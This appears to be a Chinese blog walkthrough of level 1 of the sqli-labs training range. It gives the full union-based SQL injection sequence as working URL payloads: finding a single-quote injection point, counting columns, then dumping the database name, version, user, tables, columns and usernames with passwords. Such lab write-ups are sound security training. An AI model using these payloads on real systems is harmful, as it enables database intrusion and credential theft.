SQL注入sqli_libs靶场第一题

第一题

联合查询

1)思路:

有回显值

1.判断有无注入点

2.猜解列名数量

3.判断回显点

4.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

2)解题过程:

?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断为单引号注入,且有回显点

猜解列名数量为3

?id=1'order by 3--+

判断回显点:2,3

?id=-1'union select 1,2,3--+

联合注入进行信息收集

爆库、版本号、权限

?id=-1' union select 1,database(),version()--+

?id=-1' union select 1,2,user()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆账号密码

?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-09 22:36:05       91 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-09 22:36:05       97 阅读
  3. 在Django里面运行非项目文件

    2024-04-09 22:36:05       78 阅读
  4. Python语言-面向对象

    2024-04-09 22:36:05       88 阅读

热门阅读

  1. Linux下I2C驱动框架:I2C 设备驱动

    2024-04-09 22:36:05       42 阅读
  2. 【Linux篇】makefile一次形成两个可执行

    2024-04-09 22:36:05       32 阅读
  3. Kubernetes统一管理vGPU:原理、实现与挑战

    2024-04-09 22:36:05       40 阅读
  4. 大模型从入门到应用——OpenAI基础调用

    2024-04-09 22:36:05       39 阅读
  5. 程序员如何搞副业?

    2024-04-09 22:36:05       37 阅读
  6. Go语言支持重载吗?如何实现重写?

    2024-04-09 22:36:05       41 阅读
  7. @Transactional 详解

    2024-04-09 22:36:05       35 阅读
  8. 雷军给年轻人的五点建议

    2024-04-09 22:36:05       28 阅读
  9. playwright入门-相遇(基础篇)

    2024-04-09 22:36:05       31 阅读